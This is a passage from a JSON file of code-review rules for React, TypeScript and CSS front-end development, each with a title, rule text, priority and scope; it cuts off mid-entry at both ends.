example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Store data pre-sorted rather than reordering on every use","rule":"If a list is needed in a fixed order repeatedly, sort it once at the source instead of re-sorting at each call site.","apiRule":"If a list is needed in a fixed order repeatedly, sort it once at the source instead of re-sorting at each call site. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use padStart for zero-padding numbers consistently","rule":"Apply leading-zero formatting uniformly (e.g. to both day and month) using String.padStart instead of ad-hoc checks.","apiRule":"Apply leading-zero formatting uniformly (e.g. to both day and month) using String.padStart instead of ad-hoc checks. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Avoid while(true) loops with internal breaks","rule":"Express the loop's exit condition in the while clause rather than relying on a break inside an infinite loop.","apiRule":"Express the loop's exit condition in the while clause rather than relying on a break inside an infinite loop. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Return 400 for missing required request parameters","rule":"When a required query/body param is absent, respond with 400 Bad Request rather than returning empty data or proceeding.","apiRule":"When a required query/body param is absent, respond with 400 Bad Request rather than returning empty data or proceeding. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Fail fast when required environment variables are missing","rule":"Validate mandatory env vars at startup and throw, instead of silently defaulting to an empty/placeholder value.","apiRule":"Validate mandatory env vars at startup and throw, instead of silently defaulting to an empty/placeholder value. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"universal"},{"title":"Only mark a function async when it actually awaits","rule":"Don't add async to a function with no await inside; it adds an unnecessary promise wrapper and obscures intent.","apiRule":"Don't add async to a function with no await inside; it adds an unnecessary promise wrapper and obscures intent. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Place the default case last in a switch statement","rule":"The default branch represents 'no other case matched', so conventionally it belongs at the bottom for readability.","apiRule":"The default branch represents 'no other case matched', so conventionally it belongs at the bottom for readability. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep naming consistent with existing conventions","rule":"Match the established naming pattern (interface prefixes, casing, abbreviations) used elsewhere in the codebase.","apiRule":"Match the established naming pattern (interface prefixes, casing, abbreviations) used elsewhere in the codebase. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Use the global regex flag when replacing all occurrences in a string","rule":"String.replace with a plain string argument only replaces the first match; use a /g regex to replace all.","apiRule":"String.replace with a plain string argument only replaces the first match; use a /g regex to replace all. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Trigger user-data side effects on the correct lifecycle event","rule":"Choose the hook/callback that fires for every relevant scenario. For example, sending user data on page visit vs. only on login changes who it covers; verify both the already-logged-in and just-logged-in paths fire the intended code.","apiRule":"Choose the hook/callback that fires for every relevant scenario. For example, sending user data on page visit vs. only on login changes who it covers; verify both the already-logged-in and just-logged-in paths fire the intended code. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Place dependent side effects inside their existence/crash guard","rule":"Code that depends on a global or object being present must sit inside the guard that checks for it, otherwise the crash-prevention check is bypassed. Split into separate conditions when one guard can't cover both concerns.","apiRule":"Code that depends on a global or object being present must sit inside the guard that checks for it, otherwise the crash-prevention check is bypassed. Split into separate conditions when one guard can't cover both concerns. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Remove a ternary whose false branch returns the same value","rule":"An expression like `x ? transform(x) : x` is clearer as a guarded transform; if the false branch just returns the original (possibly falsy) value, the conditional often signals confused intent. Simplify or rethink the logic.","apiRule":"An expression like `x ? transform(x) : x` is clearer as a guarded transform; if the false branch just returns the original (possibly falsy) value, the conditional often signals confused intent. Simplify or rethink the logic. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Pass undefined directly for optional attributes that may be absent","rule":"When an attribute should simply be omitted if a value is missing, pass the value (or undefined) directly rather than wrapping it in a `value ? value : undefined` ternary. React drops undefined attributes, so the ternary is redundant.","apiRule":"When an attribute should simply be omitted if a value is missing, pass the value (or undefined) directly rather than wrapping it in a `value ? value : undefined` ternary. React drops undefined attributes, so the ternary is redundant. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Set the visited-link color explicitly for styled anchors","rule":"Anchors styled as UI elements (cards, pins, buttons) should define :visited color, otherwise the browser default purple leaks through after the user clicks. Style the link states intentionally.","apiRule":"Anchors styled as UI elements (cards, pins, buttons) should define :visited color, otherwise the browser default purple leaks through after the user clicks. Style the link states intentionally. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefer CSS classes over inline styles","rule":"Apply styling through classes rather than inline style props. Inline styles have high specificity that's hard to override later and scatter presentation across the component tree; keep them to a minimum.","apiRule":"Apply styling through classes rather than inline style props. Inline styles have high specificity that's hard to override later and scatter presentation across the component tree; keep them to a minimum. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Close overlay menus on scroll when the trigger is not sticky","rule":"If a dropdown/layer menu's anchor scrolls out of view (non-sticky header), close the menu on scroll so it doesn't float detached over the page. Account for this case explicitly rather than assuming a sticky anchor.","apiRule":"If a dropdown/layer menu's anchor scrolls out of view (non-sticky header), close the menu on scroll so it doesn't float detached over the page. Account for this case explicitly rather than assuming a sticky anchor. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Choose responsive breakpoint ranges based on the actual configured breakpoints","rule":"When using `down`/`only` breakpoint helpers, include the last supported breakpoint your config defines for that range so the rule actually covers the intended viewport widths. Breakpoint naming is easy to misread.","apiRule":"When using `down`/`only` breakpoint helpers, include the last supported breakpoint your config defines for that range so the rule actually covers the intended viewport widths. Breakpoint naming is easy to misread. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Render clickable actions as a button element, not a styled div","rule":"Interactive controls that trigger actions should use a native <button> (or <a> for navigation) rather than a div with onClick. Native elements are keyboard-accessible and announced correctly by screen readers, avoiding aria-role workarounds.","apiRule":"Interactive controls that trigger actions should use a native <button> (or <a> for navigation) rather than a div with onClick. Native elements are keyboard-accessible and announced correctly by screen readers, avoiding aria-role workarounds. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Open external links in a new tab","rule":"Links that navigate to a different site should open in a new tab (target=\"_blank\") so users don't lose the current page. Confirm intent per link; pair with rel attributes for security where relevant.","apiRule":"Links that navigate to a different site should open in a new tab (target=\"_blank\") so users don't lose the current page. Confirm intent per link; pair with rel attributes for security where relevant. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use configured absolute imports instead of relative parent paths","rule":"When a project configures absolute/aliased import roots, import from those rather than walking up with ../. Relative parent paths are fragile under refactors and often violate lint rules.","apiRule":"When a project configures absolute/aliased import roots, import from those rather than walking up with ../. Relative parent paths are fragile under refactors and often violate lint rules. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep all import statements at the top of the file in canonical order","rule":"Imports belong grouped at the top of a module before any other code, with framework/library imports ordered consistently (e.g. React first). Scattered or out-of-order imports hurt readability and trip linters.","apiRule":"Imports belong grouped at the top of a module before any other code, with framework/library imports ordered consistently (e.g. React first). Scattered or out-of-order imports hurt readability and trip linters. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Transition only the property that actually changes","rule":"Set the CSS transition to the property being animated (e.g. color) rather than an unrelated one like background-color.","apiRule":"Set the CSS transition to the property being animated (e.g. color) rather than an unrelated one like background-color. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Investigate unexplained changes to generated config metrics","rule":"A large unexplained change to a generated value (e.g. desiredEntryPointSize) shouldn't be committed blindly; investigate the cause first.","apiRule":"A large unexplained change to a generated value (e.g. desiredEntryPointSize) shouldn't be committed blindly; investigate the cause first. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't commit temporary test overrides in shared config","rule":"Revert environment/config values changed only for local testing (test URLs, force-enabled flags) before merging.","apiRule":"Revert environment/config values changed only for local testing (test URLs, force-enabled flags) before merging. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Don't collapse ad iframes that need height for viewability tracking","rule":"CSS that hides/shrinks native ad iframes can break impression-viewable tracking; keep the project's hide-but-trackable pattern instead of setting height to 0.","apiRule":"CSS that hides/shrinks native ad iframes can break impression-viewable tracking; keep the project's hide-but-trackable pattern instead of setting height to 0. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: project specific.","whenToApply":"Priority: P1. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"project-specific"},{"title":"Load measurement/consent scripts as early as recommended","rule":"When a vendor advises a tracking/consent script load first for effectiveness, place it at the top of the document head if it's lightweight and safe.","apiRule":"When a vendor advises a tracking/consent script load first for effectiveness, place it at the top of the document head if it's lightweight and safe. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use CSS margin for spacing, not &nbsp;","rule":"Add visual spacing with margin/padding instead of inserting non-breaking-space entities in markup.","apiRule":"Add visual spacing with margin/padding instead of inserting non-breaking-space entities in markup. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use short, stable keys for list items","rule":"Avoid using long content strings as React keys; prefer a concise stable identifier or index-based key.","apiRule":"Avoid using long content strings as React keys; prefer a concise stable identifier or index-based key. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Cap rendered list length explicitly with slice","rule":"When a section should show at most N items, slice(0, N) before mapping so extra data never overflows the layout.","apiRule":"When a section should show at most N items, slice(0, N) before mapping so extra data never overflows the layout. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use refs instead of document.getElementById in components","rule":"Within a React component, reference DOM nodes via refs rather than looking them up by id string, which is brittle and duplicates ids.","apiRule":"Within a React component, reference DOM nodes via refs rather than looking them up by id string, which is brittle and duplicates ids. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Derive the current year/date dynamically, not hardcoded","rule":"Render year-bearing labels from new Date()/format so they don't need manual edits each year.","apiRule":"Render year-bearing labels from new Date()/format so they don't need manual edits each year. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Shape placeholder UI to match the real data contract","rule":"When stubbing with mock data, export the real item interface and default the prop to the mock, so wiring real data later needs no refactor.","apiRule":"When stubbing with mock data, export the real item interface and default the prop to the mock, so wiring real data later needs no refactor. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Omit attributes rather than passing undefined","rule":"Don't pass undefined into an HTML attribute like rel; conditionally include the attribute only when there's a real value.","apiRule":"Don't pass undefined into an HTML attribute like rel; conditionally include the attribute only when there's a real value. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use 1px for hairline borders, not rem-calc(1)","rule":"Sub-pixel rem values get rounded inconsistently across browsers; use a plain 1px for thin borders.","apiRule":"Sub-pixel rem values get rounded inconsistently across browsers; use a plain 1px for thin borders. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't hardcode device pixel ratio for images","rule":"Let the responsive image system inject dpr automatically instead of hardcoding dpr={2}, which is wrong on devices with other ratios.","apiRule":"Let the responsive image system inject dpr automatically instead of hardcoding dpr={2}, which is wrong on devices with other ratios. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Extract only the differing JSX, don't duplicate the whole block","rule":"When two branches render almost identical markup, branch only on the small differing part instead of duplicating the entire element tree.","apiRule":"When two branches render almost identical markup, branch only on the small differing part instead of duplicating the entire element tree. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use generic type parameters meaningfully, not as dead syntax","rule":"A declared generic <T> must actually constrain inputs/outputs; if a callback type ignores it, bind it to a concrete type or a named generic alias.","apiRule":"A declared generic <T> must actually constrain inputs/outputs; if a callback type ignores it, bind it to a concrete type or a named generic alias. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Build a delimited id list with map().join() not a manual loop","rule":"Replace an index-based for loop that concatenates ids with a separator by mapping then joining for clearer, less error-prone code.","apiRule":"Replace an index-based for loop that concatenates ids with a separator by mapping then joining for clearer, less error-prone code. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Return an empty array on error, not a placeholder object","rule":"On a failed fetch return [] (or a real empty collection) instead of an array with a dummy element, so callers iterate cleanly.","apiRule":"On a failed fetch return [] (or a real empty collection) instead of an array with a dummy element, so callers iterate cleanly. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Format numbers with toLocaleString for broad support","rule":"Prefer Number.prototype.toLocaleString over hand-built Intl.NumberFormat instances for simple locale-aware grouping; wider support and simpler.","apiRule":"Prefer Number.prototype.toLocaleString over hand-built Intl.NumberFormat instances for simple locale-aware grouping; wider support and simpler. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Return boolean directly instead of a mutable flag","rule":"When a loop sets a flag then returns it, return early/directly; if the flag's only false-setting line is the initializer, simplify it away.","apiRule":"When a loop sets a flag then returns it, return early/directly; if the flag's only false-setting line is the initializer, simplify it away. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use CSS responsive utilities, not JS device detection","rule":"Handle show/hide-by-breakpoint with CSS classes rather than react-device-detect, so orientation changes and resizes are handled and SSR stays correct.","apiRule":"Handle show/hide-by-breakpoint with CSS classes rather than react-device-detect, so orientation changes and resizes are handled and SSR stays correct. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Keep AB-test variants separate instead of merging flags","rule":"Don't fold variants into a combined flag like isVarDE; keep distinct isVarD/isVarE states and let CSS group identical styling, for clearer logic.","apiRule":"Don't fold variants into a combined flag like isVarDE; keep distinct isVarD/isVarE states and let CSS group identical styling, for clearer logic. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Spread an object when copying it with small overrides","rule":"When returning a near-identical object with one or two changed fields, spread the source instead of manually re-listing every property.","apiRule":"When returning a near-identical object with one or two changed fields, spread the source instead of manually re-listing every property. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't put a constant on the left of a ternary condition","rule":"Writing `ENUM.VALUE ? a : b` is always truthy; you meant to compare a variable against ENUM.VALUE.","apiRule":"Writing `ENUM.VALUE ? a : b` is always truthy; you meant to compare a variable against ENUM.VALUE. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"universal"},{"title":"Check blame/history before deleting code you didn't write","rule":"Before removing an attribute or line, check git blame/history to learn why it exists; it may guard against a known bug.","apiRule":"Before removing an attribute or line, check git blame/history to learn why it exists; it may guard against a known bug. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Coerce numeric conditions to boolean in JSX","rule":"In `cond && <X/>`, a numeric value like array.length renders a literal 0 when empty; coerce with !! so nothing renders.","apiRule":"In `cond && <X/>`, a numeric value like array.length renders a literal 0 when empty; coerce with !! so nothing renders. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Format dates with a date library, not manual mappings","rule":"Use a date-formatting library (date-fns etc.) for month/day/weekday names instead of hand-written if/else string replacement.","apiRule":"Use a date-formatting library (date-fns etc.) for month/day/weekday names instead of hand-written if/else string replacement. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Prefer function components for stateless/simple UI","rule":"Use function components instead of class components when there is no complex lifecycle need; they are shorter and the codebase default.","apiRule":"Use function components instead of class components when there is no complex lifecycle need; they are shorter and the codebase default. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Choose setTimeout vs setInterval based on whether you need repetition","rule":"Use setInterval only when you genuinely need a recurring tick; converting a one-off setTimeout to setInterval (or vice versa) changes behavior, so make the choice deliberate and always clear the timer on unmount.","apiRule":"Use setInterval only when you genuinely need a recurring tick; converting a one-off setTimeout to setInterval (or vice versa) changes behavior, so make the choice deliberate and always clear the timer on unmount. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Ensure spacing around inline anchors in text","rule":"When an anchor follows plain text in a paragraph, add an explicit space (wrap text in a span with a trailing space or add it to the anchor) so words don't run together; and avoid trailing separators after the last item.","apiRule":"When an anchor follows plain text in a paragraph, add an explicit space (wrap text in a span with a trailing space or add it to the anchor) so words don't run together; and avoid trailing separators after the last item. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Avoid rendering duplicate element IDs","rule":"Rendering the same component (with the same id) twice via show/hide classes produces duplicate DOM IDs; conditionally render one instance instead.","apiRule":"Rendering the same component (with the same id) twice via show/hide classes produces duplicate DOM IDs; conditionally render one instance instead. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Reuse the shared layout/grid system instead of bespoke per-page exceptions","rule":"Restructure a page to use the standard grid/components rather than adding one-off margin/padding overrides for that page; exceptions multiply and are hard to maintain.","apiRule":"Restructure a page to use the standard grid/components rather than adding one-off margin/padding overrides for that page; exceptions multiply and are hard to maintain. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name components in PascalCase without a Render prefix","rule":"A function returning JSX used as a component should be PascalCase (Navigation) and rendered as <Navigation />, not named RenderNavigation or called like a function.","apiRule":"A function returning JSX used as a component should be PascalCase (Navigation) and rendered as <Navigation />, not named RenderNavigation or called like a function. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Keep logic related to one value together in a single block","rule":"Group all the code that derives from a particular value (e.g. all selectedEvent handling) in one place rather than scattering it through the function, and order dependent computations correctly.","apiRule":"Group all the code that derives from a particular value (e.g. all selectedEvent handling) in one place rather than scattering it through the function, and order dependent computations correctly. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Filter out undefined items before mapping to UI, or make data mandatory","rule":"Rather than each render function returning null for missing data, filter undefined entries out of the array up front (or require the data), so the rendering code can assume valid items.","apiRule":"Rather than each render function returning null for missing data, filter undefined entries out of the array up front (or require the data), so the rendering code can assume valid items. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use replace with a global regex instead of split().join()","rule":"To swap all occurrences of a character, str.replace(/x/g, 'y') is clearer than str.split('x').join('y').","apiRule":"To swap all occurrences of a character, str.replace(/x/g, 'y') is clearer than str.split('x').join('y'). Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefix feature-specific props so future migration is easy","rule":"Name props tied to a specific system/version with a clear prefix (e.g. ga4EventName) so that when that system is removed later, the related props are trivial to find and strip.","apiRule":"Name props tied to a specific system/version with a clear prefix (e.g. ga4EventName) so that when that system is removed later, the related props are trivial to find and strip. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Put analytics category attributes at the right DOM level","rule":"A tracking category that applies to a whole section belongs higher up on the section element, not duplicated on each item, so the event hierarchy is correct.","apiRule":"A tracking category that applies to a whole section belongs higher up on the section element, not duplicated on each item, so the event hierarchy is correct. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Fix the root cause rather than masking a symptom","rule":"Hiding overflowing items with nth-child display:none, or papering over a layout bug, masks the real problem; restructure the underlying layout/logic instead.","apiRule":"Hiding overflowing items with nth-child display:none, or papering over a layout bug, masks the real problem; restructure the underlying layout/logic instead. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Remove unused components from the page, don't just display:none them","rule":"Hiding a component with display:none still ships it in the 